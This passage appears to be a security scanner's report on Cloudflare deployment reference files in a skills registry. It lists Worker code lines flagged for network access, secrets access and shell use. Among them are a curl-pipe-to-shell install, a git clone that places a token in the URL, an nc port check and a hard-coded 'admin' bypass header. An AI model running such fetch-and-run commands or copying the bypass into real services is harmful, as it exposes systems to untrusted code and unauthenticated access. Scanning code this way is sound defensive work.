    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/api.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 123
    // Proxy WebSocket to sandbox service export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 124
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const proxyResponse = await proxyToSandbox(request, env);
  • Network accessline 125
    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/configuration.md

  • Network accessline 72
    "vars": {     "ENVIRONMENT": "production",     "API_URL": "https://api.example.com"
  • Network accessline 73
    "ENVIRONMENT": "production",     "API_URL": "https://api.example.com"   },
  • Network accessline 74
    "API_URL": "https://api.example.com"
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/gotchas.md

  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Network accessline 161
    https://8080-sandbox-abc123def456.yourdomain.com
  • Dangerous shell operationline 176
    | exec() | 120s | `timeout` option |
  • Network accessline 186
    See: https://developers.cloudflare.com/sandbox/guides/production-deployment/
  • Network accessline 190
    - [Official Docs](https://developers.cloudflare.com/sandbox/)
  • Network accessline 191
    - [API Reference](https://developers.cloudflare.com/sandbox/api/)
  • Network accessline 192
    - [Examples](https://github.com/cloudflare/sandbox-sdk/tree/main/examples)
  • Network accessline 193
    - [npm Package](https://www.npmjs.com/package/@cloudflare/sandbox)
  • Network accessline 194
    - [Discord Support](https://discord.cloudflare.com)

packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/patterns.md

  • Network accessline 6
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 7
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 32
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 33
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 39
    if (request.url.endsWith('/start')) {       await sandbox.exec('curl -fsSL https://code-server.dev/install.sh | sh');
  • Dangerous shell operationline 40
    await sandbox.exec('curl -fsSL https://code-server.dev/install.sh | sh');
  • Network accessline 40
    await sandbox.exec('curl -fsSL https://code-server.dev/install.sh | sh');
  • Network accessline 57
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 58
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 87
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 88
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 110
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 111
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 133
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 134
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 168
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 169
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 196
    // Clone repo await sandbox.exec('git clone https://github.com/user/repo.git /workspace/repo');
  • Network accessline 197
    await sandbox.exec('git clone https://github.com/user/repo.git /workspace/repo');
  • Network accessline 199
    // Authenticated (use env secrets) await sandbox.exec(`git clone https://${env.GITHUB_TOKEN}@github.com/user/repo.git`);
  • Network accessline 200
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/api.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 16
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 17
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 18
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 19
    return fetch("https://api.example.com", {
  • Network accessline 29
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 30
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 31
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 33
    return fetch("https://api.example.com", {
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Network accessline 65
    Base: `https://api.cloudflare.com/client/v4`
  • Network accessline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 71
    https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/secrets_store/stores
  • Access to secretsline 163
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/configuration.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/gotchas.md

  • Access to secretsline 12
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/patterns.md

  • Network accessline 13
    [Credential-related source omitted]
  • Network accessline 14
    [Credential-related source omitted]
  • Network accessline 17
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 18
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 19
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 21
    // Fallback during rotation     if (!resp.ok && env.FALLBACK_KEY) {       resp = await fetchWithAuth("https://api.example.com", await env.FALLBACK_KEY.get());
  • Network accessline 22
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 57
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 58
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 59
    [Credential-related source omitted]
  • Network accessline 83
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 84
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 96
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext) {
  • Network accessline 97
    async fetch(request: Request, env: Env, ctx: ExecutionContext) {
  • Network accessline 99
    [Credential-related source omitted]
  • Network accessline 100
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Network accessline 101
    const resp = await fetch("https://api.example.com", {
  • Network accessline 105
    ctx.waitUntil(         fetch("https://log.example.com/log", {
  • Network accessline 106
    fetch("https://log.example.com/log", {
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 118
    } catch (error) {       ctx.waitUntil(         fetch("https://log.example.com/log", {
  • Network accessline 119
    ctx.waitUntil(         fetch("https://log.example.com/log", {           method: "POST",
  • Network accessline 120
    fetch("https://log.example.com/log", {
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Network accessline 171
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 172
    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/README.md

  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 104
    https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \

packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/api.md

  • Network accessline 8
    curl -X GET "https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/workers/services/{WORKER_NAME}" \
  • Network accessline 68
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 69
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 130
    [Credential-related source omitted]
  • Network accessline 131
    [Credential-related source omitted]
  • Network accessline 132
    https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \
  • Network accessline 175
    // Example Worker with Service Binding export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 176
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Forward to backend Worker with Smart Placement enabled
  • Network accessline 177
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 178
    // Forward to backend Worker with Smart Placement enabled     const response = await env.BACKEND_SERVICE.fetch(request);     return response;
  • Network accessline 179
    const response = await env.BACKEND_SERVICE.fetch(request);
  • Access to secretsline 182
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/configuration.md

  • Network accessline 85
    // ✅ Smart Placement affects this: export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 86
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // This runs close to backend when Smart Placement enabled
  • Network accessline 87
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 144
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 145
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 149
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/gotchas.md

  • Network accessline 131
    // ✅ Fetch - Smart Placement WORKS export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 132
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Runs close to DATABASE when Smart Placement enabled
  • Network accessline 133
    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/patterns.md

  • Network accessline 6
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 7
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 30
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 31
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 32
    if (new URL(request.url).pathname.startsWith('/api/')) {       return env.BACKEND.fetch(request);  // Forward to backend     }
  • Network accessline 33
    return env.BACKEND.fetch(request);  // Forward to backend
  • Network accessline 44
    export default {   async fetch(request: Request, env: BackendEnv): Promise<Response> {
  • Network accessline 45
    async fetch(request: Request, env: BackendEnv): Promise<Response> {
  • Network accessline 65
    // ✅ Fetch - Smart Placement WORKS export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 66
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Runs close to DATABASE when Smart Placement enabled
  • Network accessline 67
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 78
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 79
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 80
    const apiUrl = 'https://api.partner.com';
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 83
    const [profile, transactions] = await Promise.all([       fetch(`${apiUrl}/profile`, { headers }),
  • Network accessline 84
    fetch(`${apiUrl}/profile`, { headers }),
  • Network accessline 85
    fetch(`${apiUrl}/transactions`, { headers })
  • Network accessline 99
    // Frontend (edge) - auth/routing close to user export default {   async fetch(request: Request, env: Env) {
  • Network accessline 100
    export default {   async fetch(request: Request, env: Env) {     if (!request.headers.get('Authorization')) {
  • Network accessline 101
    async fetch(request: Request, env: Env) {
  • Network accessline 103
    return new Response('Unauthorized', { status: 401 });     }     const data = await env.BACKEND.fetch(request);
  • Network accessline 104
    }     const data = await env.BACKEND.fetch(request);     return new Response(renderPage(await data.json()), {
  • Network accessline 105
    const data = await env.BACKEND.fetch(request);
  • Network accessline 112
    // Backend (Smart Placement) - DB operations close to data export default {   async fetch(request: Request, env: Env) {
  • Network accessline 113
    export default {   async fetch(request: Request, env: Env) {     const data = await env.DATABASE.prepare('SELECT * FROM pages WHERE id = ?').bind(pageId).first();
  • Network accessline 114
    async fetch(request: Request, env: Env) {
  • Network accessline 130
    // Worker with Smart Placement - aggregates data from multiple DOs export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 131
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const userId = new URL(request.url).searchParams.get('user');
  • Network accessline 132
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 140
    // Fetch from multiple DOs     const [userData, analyticsData] = await Promise.all([       userDO.fetch(new Request('https://do/profile')),
  • Network accessline 141
    const [userData, analyticsData] = await Promise.all([       userDO.fetch(new Request('https://do/profile')),       analyticsDO.fetch(new Request('https://do/stats'))
  • Network accessline 142
    userDO.fetch(new Request('https://do/profile')),
  • Network accessline 143
    analyticsDO.fetch(new Request('https://do/stats'))

packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/README.md

  • Network accessline 52
    // Snippet: Add security headers export default {   async fetch(request) {
  • Network accessline 53
    export default {   async fetch(request) {     const response = await fetch(request);
  • Network accessline 54
    async fetch(request) {
  • Network accessline 55
    const response = await fetch(request);
  • Network accessline 68
    - [Cloudflare Docs](https://developers.cloudflare.com/rules/snippets/)

packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/api.md

  • Network accessline 91
    // Redirect Response.redirect("https://example.com", 301) // or 302
  • Network accessline 92
    Response.redirect("https://example.com", 301) // or 302
  • Network accessline 171
    ### ✅ Supported - `fetch()` - HTTP requests (2-5 subrequests per plan)
  • Network accessline 172
    - `fetch()` - HTTP requests (2-5 subrequests per plan)
  • Network accessline 185
    - `HTMLRewriter` - HTML parsing (use Workers) - `import` statements - No module imports - `addEventListener` - Use `export default { async fetch() {}` pattern
  • Network accessline 187
    - `addEventListener` - Use `export default { async fetch() {}` pattern
  • Network accessline 191
    export default {   async fetch(request) {
  • Network accessline 192
    async fetch(request) {
  • Network accessline 193
    // Your logic here     const response = await fetch(request);     return response; // or modified response
  • Network accessline 194
    const response = await fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/configuration.md

  • Network accessline 24
    # Create/update snippet curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets/$SNIPPET_NAME" \
  • Network accessline 25
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 31
    # Create snippet rule curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets/snippet_rules" \
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 47
    # List snippets curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets" \
  • Network accessline 48
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 51
    # Delete snippet curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets/$SNIPPET_NAME" \
  • Network accessline 52
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 218
    # Create token at: https://dash.cloudflare.com/profile/api-tokens
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 226
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/gotchas.md

  • Network accessline 8
    try { return await fetch(request); }
  • Network accessline 15
    ### 1201: "Multiple origin fetches" Call `fetch(request)` exactly once:
  • Network accessline 16
    Call `fetch(request)` exactly once:
  • Network accessline 18
    // ❌ Multiple origin fetches const r1 = await fetch(request); const r2 = await fetch(request);
  • Network accessline 19
    const r1 = await fetch(request); const r2 = await fetch(request);
  • Network accessline 21
    const response = await fetch(request);
  • Network accessline 59
    curl -H "X-Test: true" https://example.com -v
  • Network accessline 64
    **✅ Available:** `fetch()`, `Request`, `Response`, `Headers`, `URL`, `crypto.subtle`, `crypto.randomUUID()`, `atob()`/`btoa()`, `JSON`
  • Network accessline 81
    | Header set | <0.1ms | | URL parsing | <0.2ms | | fetch() | 1-3ms |
  • Network accessline 82
    | URL parsing | <0.2ms | | fetch() | 1-3ms | | SHA-256 | 0.5-1ms |
  • Network accessline 83
    | fetch() | 1-3ms |

packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/patterns.md

  • Network accessline 6
    export default {   async fetch(request) {
  • Network accessline 7
    async fetch(request) {
  • Network accessline 8
    const response = await fetch(request);
  • Network accessline 23
    export default {   async fetch(request) {
  • Network accessline 24
    async fetch(request) {
  • Network accessline 29
    return Response.redirect(url.toString(), 302);     }     return fetch(request);
  • Network accessline 30
    }     return fetch(request);   }
  • Network accessline 31
    return fetch(request);
  • Network accessline 39
    export default {   async fetch(request) {
  • Network accessline 40
    async fetch(request) {
  • Network accessline 44
    const req = new Request(request);     req.headers.set("X-Variant", variant);     const response = await fetch(req);
  • Network accessline 46
    const response = await fetch(req);
  • Network accessline 61
    export default {   async fetch(request) {
  • Network accessline 62
    async fetch(request) {
  • Network accessline 63
    const botScore = request.cf.botManagement?.score;     if (botScore && botScore < 30) return new Response("Denied", { status: 403 });     return fetch(request);
  • Network accessline 64
    if (botScore && botScore < 30) return new Response("Denied", { status: 403 });     return fetch(request);   }
  • Network accessline 65
    return fetch(request);
  • Network accessline 75
    export default {   async fetch(request) {
  • Network accessline 76
    async fetch(request) {
  • Network accessline 79
    req.headers.set("X-Internal-Auth", "secret_token");       req.headers.delete("Authorization");       return fetch(req);
  • Network accessline 80
    req.headers.delete("Authorization");       return fetch(req);     }
  • Network accessline 81
    return fetch(req);
  • Network accessline 82
    }     return fetch(request);   }
  • Network accessline 83
    return fetch(request);
  • Network accessline 91
    export default {   async fetch(request) {
  • Network accessline 92
    async fetch(request) {
  • Network accessline 101
    });     }     const response = await fetch(request);
  • Network accessline 102
    }     const response = await fetch(request);     const newResponse = new Response(response.body, response);
  • Network accessline 103
    const response = await fetch(request);
  • Network accessline 114
    export default {   async fetch(request) {
  • Network accessline 115
    async fetch(request) {
  • Network accessline 116
    if (request.headers.get("X-Bypass-Token") === "admin") return fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/spectrum/README.md

  • Network accessline 24
    1. **Create/manage Spectrum app**    - Via Dashboard → See [Cloudflare Dashboard](https://dash.cloudflare.com)
  • Network accessline 25
    - Via Dashboard → See [Cloudflare Dashboard](https://dash.cloudflare.com)
  • Network accessline 52
    - [Cloudflare Docs](https://developers.cloudflare.com/spectrum/)

packages/autoskills/skills-registry/cloudflare-deploy/references/spectrum/api.md

  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 174
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/spectrum/gotchas.md

  • Network accessline 14
    # Test connectivity nc -zv app.example.com 22
  • Network accessline 15
    nc -zv app.example.com 22

packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/README.md

  • Network accessline 20
    // src/index.ts export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 21
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     return env.ASSETS.fetch(request);
  • Network accessline 22
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 23
    return env.ASSETS.fetch(request);
  • Network accessline 63
    - [Cloudflare Workers Docs](https://developers.cloudflare.com/workers/)
  • Network accessline 64
    - [Static Assets Docs](https://developers.cloudflare.com/workers/static-assets/)
  • Network accessline 65
    - [Cloudflare Pages](https://developers.cloudflare.com/pages/)

packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/api.md

  • Network accessline 14
    interface Fetcher {   fetch(input: RequestInfo | URL, init?: RequestInit): Promise<Response>;
  • Network accessline 15
    fetch(input: RequestInfo | URL, init?: RequestInit): Promise<Response>;
  • Network accessline 22
    // 1. Forward entire request await env.ASSETS.fetch(request);
  • Network accessline 23
    await env.ASSETS.fetch(request);
  • Network accessline 25
    // 2. String path (hostname ignored, only path matters) await env.ASSETS.fetch("https://any-host/path/to/asset.png");
  • Network accessline 26
    await env.ASSETS.fetch("https://any-host/path/to/asset.png");
  • Network accessline 28
    // 3. URL object await env.ASSETS.fetch(new URL("/index.html", request.url));
  • Network accessline 29
    await env.ASSETS.fetch(new URL("/index.html", request.url));
  • Network accessline 31
    // 4. Constructed Request object await env.ASSETS.fetch(new Request(new URL("/logo.png", request.url), {
  • Network accessline 32
    await env.ASSETS.fetch(new Request(new URL("/logo.png", request.url), {
  • Network accessline 50
    // All resolve to same asset: env.ASSETS.fetch("https://example.com/logo.png")
  • Network accessline 51
    env.ASSETS.fetch("https://example.com/logo.png")
  • Network accessline 52
    env.ASSETS.fetch("https://ignored.host/logo.png")
  • Network accessline 53
    env.ASSETS.fetch("/logo.png")
  • Network accessline 158
    const response = await env.ASSETS.fetch(request);
  • Network accessline 176
    const response = await env.ASSETS.fetch(request);
  • Network accessline 191
    // Serve different assets based on conditions if (url.pathname === '/') {   return env.ASSETS.fetch('/index.html');
  • Network accessline 192
    if (url.pathname === '/') {   return env.ASSETS.fetch('/index.html'); }
  • Network accessline 193
    return env.ASSETS.fetch('/index.html');
  • Network accessline 196
    return env.ASSETS.fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/configuration.md

  • Network accessline 161
    Use current date for new projects. See [Compatibility Dates](https://developers.cloudflare.com/workers/configuration/compatibility-dates/) for full list.

packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/patterns.md

  • Network accessline 6
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 7
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 8
    return env.ASSETS.fetch(request);
  • Network accessline 16
    const response = await env.ASSETS.fetch("https://assets.local/logo.png");
  • Network accessline 22
    const url = new URL(request.url); url.pathname = "/index.html"; return env.ASSETS.fetch(new Request(url, request));
  • Network accessline 24
    return env.ASSETS.fetch(new Request(url, request));
  • Network accessline 30
    const response = await env.ASSETS.fetch(request);
  • Network accessline 40
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 41
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 42
    const url = new URL(request.url);     if (url.pathname === '/') {       return env.ASSETS.fetch('/index.html');
  • Network accessline 43
    if (url.pathname === '/') {       return env.ASSETS.fetch('/index.html');     }
  • Network accessline 44
    return env.ASSETS.fetch('/index.html');
  • Network accessline 45
    }     return env.ASSETS.fetch(request);   }
  • Network accessline 46
    return env.ASSETS.fetch(request);
  • Network accessline 56
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 57
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 60
    return handleAPI(request, env);     }     return env.ASSETS.fetch(request);
  • Network accessline 61
    }     return env.ASSETS.fetch(request);   }
  • Network accessline 62
    return env.ASSETS.fetch(request);
  • Network accessline 78
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 79
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 85
    }     }     return env.ASSETS.fetch(request);
  • Network accessline 86
    }     return env.ASSETS.fetch(request);   }
  • Network accessline 87
    return env.ASSETS.fetch(request);
  • Network accessline 97
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 98
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 99
    const response = await env.ASSETS.fetch(request);
  • Network accessline 112
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 113
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 116
    const url = new URL(request.url);     if (url.pathname === '/') {       return env.ASSETS.fetch(`/index-${variant}.html`);
  • Network accessline 117
    if (url.pathname === '/') {       return env.ASSETS.fetch(`/index-${variant}.html`);     }
  • Network accessline 118
    return env.ASSETS.fetch(`/index-${variant}.html`);
  • Network accessline 119
    }     return env.ASSETS.fetch(request);   }
  • Network accessline 120
    return env.ASSETS.fetch(request);
  • Network accessline 128
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 129
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 131
    const url = new URL(request.url);     if (url.pathname === '/') {       return env.ASSETS.fetch(`/${locale}/index.html`);
  • Network accessline 132
    if (url.pathname === '/') {       return env.ASSETS.fetch(`/${locale}/index.html`);     }
  • Network accessline 133
    return env.ASSETS.fetch(`/${locale}/index.html`);
  • Network accessline 136
    url.pathname = `/${locale}${url.pathname}`;     }     return env.ASSETS.fetch(url);
  • Network accessline 137
    }     return env.ASSETS.fetch(url);   }
  • Network accessline 138
    return env.ASSETS.fetch(url);
  • Network accessline 146
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 147
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 160
    }     }     return env.ASSETS.fetch(request);
  • Network accessline 161
    }     return env.ASSETS.fetch(request);   }
  • Network accessline 162
    return env.ASSETS.fetch(request);
  • Network accessline 172
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 173
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 174
    const response = await env.ASSETS.fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/stream/README.md

  • Network accessline 48
    curl -X POST \
  • Network accessline 49
    "https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/copy" \
  • Network accessline 50
    [Credential-related source omitted]
  • Network accessline 52
    -d '{"url": "https://example.com/video.mp4"}'
  • Network accessline 57
    <iframe   src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe"
  • Network accessline 58
    src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe"
  • Network accessline 68
    curl -X POST \
  • Network accessline 69
    "https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/live_inputs" \
  • Network accessline 88
    - Dashboard: https://dash.cloudflare.com/?to=/:account/stream
  • Network accessline 89
    - API Docs: https://developers.cloudflare.com/api/resources/stream/
  • Network accessline 90
    - Stream Docs: https://developers.cloudflare.com/stream/

packages/autoskills/skills-registry/cloudflare-deploy/references/stream/api-live.md

  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 26
    async function createLiveInput(accountId: string, apiToken: string) {   const response = await fetch(
  • Network accessline 27
    const response = await fetch(
  • Network accessline 28
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs`,
  • Network accessline 51
    async function getLiveStatus(accountId: string, liveInputId: string, apiToken: string) {   const response = await fetch(
  • Network accessline 52
    const response = await fetch(
  • Network accessline 53
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs/${liveInputId}`,
  • Network accessline 72
    outputUrl: string, streamKey: string ) {   return fetch(
  • Network accessline 73
    ) {   return fetch(     `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs/${liveInputId}/outputs`,
  • Network accessline 74
    return fetch(
  • Network accessline 75
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs/${liveInputId}/outputs`,
  • Network accessline 125
    // Send to Stream via WHIP   const response = await fetch(
  • Network accessline 126
    const response = await fetch(
  • Network accessline 127
    `https://customer-<CODE>.cloudflarestream.com/${liveInputId}/webRTC/publish`,
  • Network accessline 152
    const response = await fetch(
  • Network accessline 153
    `https://customer-<CODE>.cloudflarestream.com/${videoId}/webRTC/play`,
  • Network accessline 179
    timeoutSeconds: 30, // Auto-stop 30s after stream ends   requireSignedURLs: true, // Require token for VOD playback   allowedOrigins: ['https://yourdomain.com']
  • Network accessline 180
    requireSignedURLs: true, // Require token for VOD playback   allowedOrigins: ['https://yourdomain.com'] };
  • Network accessline 181
    allowedOrigins: ['https://yourdomain.com']

packages/autoskills/skills-registry/cloudflare-deploy/references/stream/api.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 27
    const formData = new FormData();   formData.append('file', file);   return fetch(uploadURL, { method: 'POST', body: formData }).then(r => r.json());
  • Network accessline 28
    formData.append('file', file);   return fetch(uploadURL, { method: 'POST', body: formData }).then(r => r.json()); }
  • Network accessline 29
    return fetch(uploadURL, { method: 'POST', body: formData }).then(r => r.json());
  • Network accessline 36
    const video = await client.stream.copy.create({   account_id: env.CF_ACCOUNT_ID,   url: 'https://example.com/video.mp4',
  • Network accessline 37
    account_id: env.CF_ACCOUNT_ID,   url: 'https://example.com/video.mp4',   meta: { name: 'My Video' },
  • Network accessline 38
    url: 'https://example.com/video.mp4',
  • Network accessline 49
    <iframe   src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe?autoplay=true&muted=true"
  • Network accessline 50
